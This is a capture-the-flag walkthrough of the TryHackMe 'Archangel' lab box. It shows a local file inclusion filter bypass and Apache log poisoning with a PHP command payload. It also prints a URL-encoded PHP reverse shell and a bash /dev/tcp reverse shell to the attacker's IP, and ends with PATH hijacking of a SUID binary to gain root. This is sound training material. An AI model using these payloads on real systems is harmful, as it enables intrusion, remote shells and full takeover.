Intro

THM: Archangel is fun easy box that has involves one of my favorite techniques: escalating LFI to RCE by poisoning a log file. Once we have a shell we’ll take advantage of open permissions on a file running as cronjob to pivot to another user. And we’ll finish with a path injection attack to root the box.

Recon

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ sudo rustscan -a 10.10.210.148 -- -sV -oA nmap1

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On port 80 we have a website for Mafialive Solutions.

Mafialive website

In the header we have an email address on the domain mafialive.thm so let’s add that to our /etc/hosts file.

And if we send an HTTP request to that domain we’ll see it is indeed running as another vhost and reveals the first flag.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ curl http://mafialive.thm           
<h1>UNDER DEVELOPMENT</h1>

thm{f0und_REDACTED_n4m3}

Let’s run some content enumeration here.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ ffuf -t 100 -u http://mafialive.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt -c

.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10]
robots.txt              [Status: 200, Size: 34, Words: 3, Lines: 3]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 460 req/sec :: Duration: [0:00:50] :: Errors: 0 ::

In robots.txt we are told there is a test.php page we definitely want to check out.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ curl http://mafialive.thm/robots.txt
User-agent: *
Disallow: /test.php

It’s a mostly blank page that says “Test Page. Not to be Deployed” with a “Here is a button” button that when clicked, redirects back to the same page but with an interesting query string this time:

http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php

Hidden test page

The fact that the query parameter contains a full Linux file path immediately screams potential LFI vulnerabiliy.

Exploiting LFI

Let’s play with this theory and see if we can indeed exploit LFI here.

The text beneath the button is likely the output of the file being included. We can quickly confirm that by replacing mrrobot.php with robots.txt.

However, if we replace the whole path with /etc/passwd we see “Sorry, Thats not allowed”. So there is some kind of backend validation that is intended to only allow certain files/paths to be included.

We’ll need to test this methodically to understand what exactly is and isn’t allowed. To start, we’ll make a small change to a path we know that works and see if our change breaks it.

By adding a ../development_testing in the middle, we see the contents of mrrobot.php and prove that ../ is allowed.

/var/www/html/development_testing/../development_testing/mrrobot.php

Now let’s traversing 2 levels with ../../html/development_testing.

That does not work, so there must be a filter on ../../.

We can try getting around that with .././../, and that does work!

So finally let’s try using what we’ve learned here to access /etc/passwdwith this path:

/var/www/html/development_testing/.././.././.././.././.././../etc/passwd

…Success!

We can see archangel is user on the box and can try to leak their SSH key, though chances are slim that the user the web server is running as (most likely www-data as this is Apache) will have permission to read that file.

Initial Foothold

LFI is great for leaking information but if we are able to read a log file that we can control, we can turn it into an RCE! This is one of my favorite techniques.

The LFI vulnerability is caused by the way PHP’s include() function works.

The include expression includes and evaluates the specified file.

So if we can write some malicious code to the error log and then read it via the LFI bug, our code will get executed before the output is displayed.

Let’s see if we can read Apache’s error log. It may take a little bit of fuzzing to find, but typically it’ll be at /var/log/apache2/error.log. There’s an access.log as well — either will work.

Using Burp Suite to exploit LFI

Now that we know we can read the log, we can “poison” it by sending a request and inserting some PHP code in the User-Agent header.

curl http://mafialive.thm/test.php -A "<?php system(\$_GET['c']);?>" (or just change the header in the request if you’re using Burp)

Now we can append &c=id to the URL when reading the log file so the id command will execute on the target and the output will be reflected in the response.

Escalating LFI to RCE

We have RCE!

Now to get our foothold we can use a reverse shell payload to send ourselves a shell.

GET /test.php?view=/var/www/html/development_testing/.././.././.././.././.././../var/log/apache2/access.log&c=php%20-r%20%27%24sock%3Dfsockopen%28%2210.13.17.127%22%2C5555%29%3B%24proc%3Dproc_open%28%22%2Fbin%2Fbash%22%2C%20array%280%3D%3E%24sock%2C%201%3D%3E%24sock%2C%202%3D%3E%24sock%29%2C%24pipes%29%3B%27 HTTP/1.1
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.100.252] 35106
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

With a bit of bash magic we can upgrade our shell and then we’ll find the user flag in the archangel user’s home directory.

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html/development_testing$ ^Z
zsh: suspended  nc -lnvp 5555
                                                                                                               
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Archangel]
└─$ stty raw -echo; fg                                                                               148 ⨯ 1 ⚙
[1]  + continued  nc -lnvp 5555

...(hit enter twice)...

www-data@ubuntu:/var/www/html/development_testing$ stty rows 70 columns 111
www-data@ubuntu:/var/www/html/development_testing$ export TERM=xterm

www-data@ubuntu:/var/www/html/development_testing$ cd /home/archangel/

www-data@ubuntu:/home/archangel$ ls -la
total 44
drwxr-xr-x 6 archangel archangel 4096 Nov 20  2020 .
drwxr-xr-x 3 root      root      4096 Nov 18  2020 ..
-rw-r--r-- 1 archangel archangel  220 Nov 18  2020 .bash_logout
-rw-r--r-- 1 archangel archangel 3771 Nov 18  2020 .bashrc
drwx------ 2 archangel archangel 4096 Nov 18  2020 .cache
drwxrwxr-x 3 archangel archangel 4096 Nov 18  2020 .local
-rw-r--r-- 1 archangel archangel  807 Nov 18  2020 .profile
-rw-rw-r-- 1 archangel archangel   66 Nov 18  2020 .selected_editor
drwxr-xr-x 2 archangel archangel 4096 Nov 18  2020 myfiles
drwxrwx--- 2 archangel archangel 4096 Nov 19  2020 secret
-rw-r--r-- 1 archangel archangel   26 Nov 19  2020 user.txt

www-data@ubuntu:/home/archangel$ wc -c user.txt 
26 user.txt

Privilege Escalation

Checking the crontab for anything interesting, we can see there is a script running every minute as the archangel user.

www-data@ubuntu:/var/www/html/development_testing$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 *   * * *   archangel /opt/helloworld.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

www-data@ubuntu:/var/www/html/development_testing$ ls -la /opt
total 16
drwxrwxrwx  3 root      root      4096 Nov 20  2020 .
drwxr-xr-x 22 root      root      4096 Nov 16  2020 ..
drwxrwx---  2 archangel archangel 4096 Nov 20  2020 backupfiles
-rwxrwxrwx  1 archangel archangel   66 Nov 20  2020 helloworld.sh

The permissions are wide open on this script so we can read and modify it.

#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt

We can append some shellcode to the script with echo "/bin/bash -i >& /dev/tcp/10.13.17.127/9001 0>&1" >> helloworld.sh to send ourselves a reverse shell as archangel the next time the job runs.

┌──(brian㉿kali)-[~]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.129.238] 53146
bash: cannot set terminal process group (955): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$ id
id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)

In archangel’s home directory there is a directory named secret were we’ll find the 2nd user flag.

archangel@ubuntu:~/secret$ ls -la
total 32
drwxrwx--- 2 archangel archangel  4096 Nov 19  2020 .
drwxr-xr-x 6 archangel archangel  4096 Nov 20  2020 ..
-rwsr-xr-x 1 root      root      16904 Nov 18  2020 backup
-rw-r--r-- 1 root      root         49 Nov 19  2020 user2.txt
archangel@ubuntu:~/secret$ wc -c user2.txt 
49 user2.txt

It also contains a SUID binary owned by root.

archangel@ubuntu:~/secret$ file backup 
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped

Executing it gives an error that hints at a path to privesc.

archangel@ubuntu:~/secret$ ./backup 
cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory

We can run strings and see the full command it is trying to run.

cp /home/user/archangel/myfiles/* /opt/backupfiles

It’s failing because the source directory does not exist, although that’s not the most interesting part here.

Since the program is calling cp without an absolute path we can hijack it to get a root shell!

All we need to do is create our own malicious script with the same name in the same directory, and then prepend our current directory to the $PATH so when bash tries to find cp, it finds and executes our script instead.

Our script will get executed as root since that’s what the backup process will be running as, giving us a root shell.

archangel@ubuntu:~/secret$ cat > cp <<EOF
> #!/bin/bash
> /bin/bash -p
> EOF

archangel@ubuntu:~/secret$ chmod +x cp

archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:$PATH

archangel@ubuntu:~/secret$ ./backup 

root@ubuntu:~/secret# id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)

root@ubuntu:~/secret# wc -c /root/root.txt 
68 /root/root.txt